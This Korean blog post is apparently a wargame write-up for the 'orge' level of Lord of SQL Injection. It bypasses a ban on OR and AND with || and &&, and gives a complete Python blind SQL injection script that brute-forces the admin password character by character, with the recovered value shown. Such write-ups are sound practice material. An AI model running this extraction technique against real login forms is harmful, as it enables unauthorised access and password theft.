Problem
Problem Analysis
이번 문제는 이전에 풀었던 blind injection 문제에 약간의 변화와 조건을 곁들인 문제다.
조건은 OR과 AND 사용 금지인데 우회 법은 이전에 설명했으므로 빠르게 exploit 하겠다.
Exploit
우선 blind injection이기 때문에 python을 쓰면 손쉽게 풀이가 가능하다.
import requests
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookie = {'PHPSESSID':'ec8s5fjt73b18gp3r1ns2g2e7t'}
len = 0
while True:
query = f"1\' || id=\'admin\' && length(pw)={len}#"
param = {'pw':query}
res = requests.get(url, params=param, cookies=cookie)
if 'Hello admin' in res.text:
break
else:
len += 1
print(len)
s = ""
index = 1
for i in range(len):
find = 0
while True:
query = f"\' || id=\'admin\' && ascii(substr(pw,{index},1))={find}#"
print(query)
param = {'pw': query}
res = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in res.text:
break
else:
find += 1
s += chr(find)
index +=1
print(s)
이전에 풀은 코드와 매우 흡사한데, query에 AND와 OR만 바뀌었다. AND를 encoding하지 않고 그대로 입력한 이유는 requests 모듈에서 알아서 encoding 처리해주기 때문이다.
길이는 8자리로 pw는 7b751aec
반응형
'Web Hacking > LOS(Lord Of SQL injection)' 카테고리의 다른 글
[LOS] vampire #9 (0) | 2021.03.29 |
---|---|
[LOS] troll #8 (0) | 2021.03.29 |
[LOS] darkelf #6 (0) | 2021.03.29 |
[LOS] wolfman #5 (0) | 2021.03.29 |
[LOS] orc #4 (0) | 2021.03.29 |